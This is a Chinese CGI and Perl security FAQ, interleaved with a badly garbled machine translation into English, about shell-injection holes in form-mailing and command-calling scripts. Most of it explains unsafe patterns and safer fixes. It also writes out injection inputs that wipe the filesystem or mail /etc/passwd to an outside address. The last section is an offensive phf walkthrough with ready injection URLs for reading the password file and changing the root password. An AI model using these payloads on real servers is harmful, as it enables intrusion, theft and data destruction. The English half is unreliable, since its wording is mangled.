user 填的form 资料自动寄出 user fill the form data is automatically sent

其实做这个很容易。 In fact, do this very easily. 您的CGI script 必须能做到这两件事： Your CGI script must be able to do two things:

1.将form 中的资料整理出来。 1 will form the data sorted out. 别忘了，所有的form 资料都会被URL-编码起来（先不考虑Netscape 2.0 【及2.0 以上所支援】的multipart MIME资料）。 Do not forget, all the form data will be URL-encoded it (Netscape 2.0 is not considered [and 2.0] is supported above the multipart MIME data).
2.开一个管路(pipe) 到mail （或sendmail ），然後把form 资料写过去。 (2) to open a pipe (pipe) to the mail (or sendmail), then the form data to write in the past.

我们就假设您用的是CGI::* 模组。 We assume you are using CGI:: * modules. 您可用以下的方法去叫sendmail： You can use the following method sent for sendmail:

$cgi_form = new CGI::Form; $ Cgi_form = new CGI:: Form;

$from = $cgi_form->param('from'); $ From = $ cgi_form-> param ('from');

$name = $cgi_form->param('name'); $ Name = $ cgi_form-> param ('name');

$to = $cgi_form->param('to'); $ To = $ cgi_form-> param ('to');

$subject = $cgi_form->param('subject'); $ Subject = $ cgi_form-> param ('subject');

$message = $cgi_form->param('message'); $ Message = $ cgi_form-> param ('message');

open SENDMAIL, "| /usr/bin/sendmail -t -n"; open SENDMAIL, "| / usr / bin / sendmail-t-n";

print SENDMAIL End_of_Mail; print SENDMAIL End_of_Mail;

From: $from $name From: $ from $ name

To: $to To: $ to

Reply-To: $from Reply-To: $ from

Subject: $subject Subject: $ subject

$message $ Message

End_of_Mail End_of_Mail

有一个该注意的地方是``Reply-To:'' 的信头。 There is a place where the note is `` Reply-To:''letterhead. 由於server 是以``nobody''这个使用者的身份来跑，信头的地方可能会被搞坏（尤其是当有人想回这封信的时後）。 As the server is `` nobody''to run the user's identity, letterhead may be ruining the place (especially when people want to return time after this letter). 加上``Reply-To'' 的信头这个问题便解决 With the `` Reply-To''header will solve this problem
了。 The.

网路上有许多的mail 渠道(gateway)* 是以底下这种方法来送mail： There are a lot of mail on the network channels (gateway) * under this method is to send mail:

【译者】gateway 在此指送email 的CGI 程式 [Translator] gateway in this case the CGI program to send email


open MAIL, "| mail -s 'Subject' $to"; open MAIL, "| mail-s 'Subject' $ to";


| |

+-- 可能会出问题的漏洞！ + - May be problems of vulnerability! ！ ! ！ !

如果您没有先检查看$to 这个变数有没有内含shell 的特殊符号(metacharacters)，您是在自讨苦吃！ If you do not check to see $ to have this variable contains the shell's special characters (metacharacters), you're asking for trouble! 譬如，如果哪个恶劣的user 输入 For example, if the user input to which poor
了以下的资料： The following information:

; rm -fr / ; ; Rm-fr /;

那麽您的麻烦可大了*。 Then you can be big * trouble.

【译者】这里头的``;'' 便是一个危险的shellmetacharacter。 [Translator] here is a head ``;'' dangerous shellmetacharacter. 另一个危险的符号是``&''。 Another danger sign is ``&''。

在这个假想的情况中，有多少个档案会被远方的user 给杀掉，还得视server 跑的使用者的权限而定（这就是为什麽server要以低权限使用者身份跑的原因）。 In this hypothetical situation, how many files will be a distant user to kill, had to run as server depending on the user's permission (which is why the server to run as a user with low privileges reasons). 至少那些由CGI 程式制造出来，但又没有备份的档案，是真的要跟它们永别了。 At least those created by the CGI program, but no backup file is really to keep them forever.

; mail joe@crackerland.org /etc/passwd ; Mail joe@crackerland.org / etc / passwd

那您的CGI script 就替您把/etc/passwd 给拱手送上了。 That your CGI script on your behalf to / etc / passwd to send a hand. 这对一个「未加工」的Linux、SunOS 4.1，还有其他任何没安装shadow-password 的UNIX 系统来说， 实在不太好玩。 This is a "raw" Linux, SunOS 4.1, did not install any other shadow-password of the UNIX system, it is not fun. 如果server 错误地跑了root，那麽就算装了shadow-password 也没有用，因为远方的cracker 甚至可以让这个CGI 的email If the server mistakenly ran root, then install the shadow-password even if no use, because the cracker distance can even make this CGI's email
script 给他送/etc/shadow （视系统而定，不一定在/etc底下或叫这个名字）。 script sent him / etc / shadow (depending on the system, not necessarily in the / etc or under that name).

2.该特别留意哪些安全事项？ (2) pay particular attention to what the safety issues?

绝对不要对shell 暴露任何form 资料。 Never expose any form of shell materials. 底下这几项通通都是安全漏洞： Under all these items are security vulnerabilities:

open(COMMAND, "/usr/ucb/finger $form_user"); open (COMMAND, "/ usr / ucb / finger $ form_user");

system("/usr/ucb/finger $form_user"); system ("/ usr / ucb / finger $ form_user");

@data = `usr/ucb/finger $form_user`; @ Data = `usr / ucb / finger $ form_user`;

话虽如此，在上面的第二种写法中，系统安全可藉着改变参数传送的方式而得以改善。 Having said that, in the above wording in the second, system security can change the parameters sent by the way can be improved. 也就是将参数由字串方式传送（shell 会先解译），改为序列方式传送。 That is, the parameters transmitted by the string (shell will be interpreted), to sequence transmission.

system("/usr/ucb/finger", $form_user); system ("/ usr / ucb / finger", $ form_user);

3.为什麽大家都说 3 Why do we say
http://bigidiot.abuse-me.com/perl.exe?foo.pl http://bigidiot.abuse-me.com/perl.exe?foo.pl
这样很危险？ This is very dangerous? 会有多糟？ How bad?

极度危险！ Extremely dangerous! 想想看如果我这麽做会发生什麽事： Think about what would happen if I do something:


http://bigidiot.abuse-me.com/cgi-bin/perl.exe?-e+'format:%20c' http://bigidiot.abuse-me.com/cgi-bin/perl.exe?-e+ 'format:% 20c'

现在您同意了吧？ You agree, right? 避免这个恶梦发生的方法： Avoid this nightmare from happening:

将perl.exe 执行档由``cgi-bin'' 移到server 根目录以外的目 The perl.exe executable by the `` cgi-bin''to move outside the target server root directory
录里去。 Record to go.
在``cgi-bin'' 里用批次档(batch) script 来叫出您的CGI In the `` cgi-bin''in the use of batch files (batch) script to bring up your CGI
script。 script.

以下是一例。 The following is an example. 假设您的CGI script 叫做``sample.pl'' 而您的批次档叫``simple.bat''： Suppose your CGI script called `` sample.pl''and your batch file called `` simple.bat'':


@echo off @ Echo off

c:\dos_perl\perl.exe c: \ dos_perl \ perl.exe
c:\netscape\ns-home\docs\cgi-bin\simple.pl c: \ netscape \ ns-home \ docs \ cgi-bin \ simple.pl


现在，您可以做： Now you can do:

A HREF="/cgi-bin/simple.bat" >Click Here /A> A HREF = "/ cgi-bin/simple.bat"> Click Here / A>

4.要如何在程式中安全地使用逆向撇号 4 how the program is safe to use in reverse apostrophe
（backticks，"`"，位於键盘左上角）？ (Backticks ,"`", located in the upper left corner of the keyboard)? 这么做： Do:
@ans = `grep'$user_field' some.file`; @ Ans = `grep '$ user_field' some.file`;
是不是真的不安全？ Is it really safe?

是的！ Yes! 这非常危险！ This is very dangerous! 试想，如果$user_field 含有这样的内容会有什么后果： Just think, if $ user_field contain such content, what will happen:

; rm -fr / ; ; Rm-fr /;

要达到相同的效果，一个比较安全的做法是*： To achieve the same effect, a safer approach is to *:

if (open GREP, "-|") { if (open GREP, "-|") {

@ans = GREP; @ Ans = GREP;

} else { } Else {

exec("/usr/local/bin/grep", $user_field, "some.file") exec ("/ usr / local / bin / grep", $ user_field, "some.file")

|| die "Error exec'ing command", "\n"; | | Die "Error exec'ing command", "\ n";

} }

close GREP; close GREP;
5. /$user_variable/ 这个句法是不是Perl5 中的一个安全漏洞？ 5. / $ User_variable / this syntax is Perl5 a security vulnerability?

不！ No! 这不是个安全漏洞。 This is not a security vulnerability. 但是如果您用eval 指令在执行期(runtime)去评估这个叙述，那么，它会变成一个安全死角。 But if you use the eval command of the implementation period (runtime) to evaluate the narrative, then, it will become a safe corner. 例如这种做法可能很危险： For example, this approach can be dangerous:


foreach $regexp (@all_regexps) { foreach $ regexp (@ all_regexps) {

eval "foreach (\@data) { push(\@matches, \$_) if eval "foreach (\ @ data) {push (\ @ matches, \ $ _) if
m|$regexp|o; }"; m | $ regexp | o;} ";
} }

6.如果在WWW的cgi-bin的目录下有一个名为phf的可执行（具有x权限）程序，那么你就可以通过WWW或LINUX的文本浏览器lynx访问它。 6 If the WWW cgi-bin directory called phf an executable (with x permissions) program, then you can through WWW or LINUX lynx text browser to access it. 该功能允许你读取系统上的文件，如/etc/passwd等，并保存在本地机上。 This feature allows you to read files on the system, such as / etc / passwd, etc., and saved on the local machine. 以下是我们所需要做的。 The following is we need to do. 如果httpd服务器是由root根用户运行的，通过使用phf，我们可以成为该服务器的root用户；甚至修改服务器上某个用户的密码。 If the httpd server is run by the root user root by using phf, we can become the root user on the server; or modify a user's password on the server.
http://afp.org/cgi-bin/phf/?Qalias=x%0aid http://afp.org/cgi-bin/phf/?Qalias=x% 0aid

id是一个命令，它要求服务器返回用户的id。 id is a command, which requires the server to return the user id. 有时我们需要给出全路径，比如：http://afp.org/cgi-bin/phf/?Qalias=x%0a/usr/bin/id Sometimes we need to give the full path, such as: http://afp.org/cgi-bin/phf/?Qalias=x% 0a/usr/bin/id

注意%0a后面是命令行内容。 Note% 0a followed by the command-line content. 如果你想输入一个空格符，就要用%20代替，以下是经常要用到的几个命令行：（以%0a开始） If you want to enter a space character, it is necessary to use% 20 instead of, the following is to always use a few command line: (start with% 0a)

显示passwd密码档： Show passwd password file:
%0a/bin/cat%20/etc/passwd % 0a/bin/cat% 20/etc/passwd

获取/etc目录下所有以pass开始的详细文件列表： Access to the / etc directory of all the details begin to pass the file list:
%0als%20-al%20/etc/pass* % 0als% 20-al% 20/etc/pass *

如果你有访问http的root用户权限，备份passwd文件为passwd.my文件： If you have access to the http root privileges, as passwd.my file backups passwd file:
%0acp%20/etc/passwd%20/etc/passwd.my % 0acp% 20/etc/passwd% 20/etc/passwd.my

更改root用户密码（服务器往往会允许你这样做;-) ）： Change the root password (the server will often allow you to do so ;-)):
%0apasswd%20root % 0apasswd% 20root

傲气雄鹰 Arrogance Eagle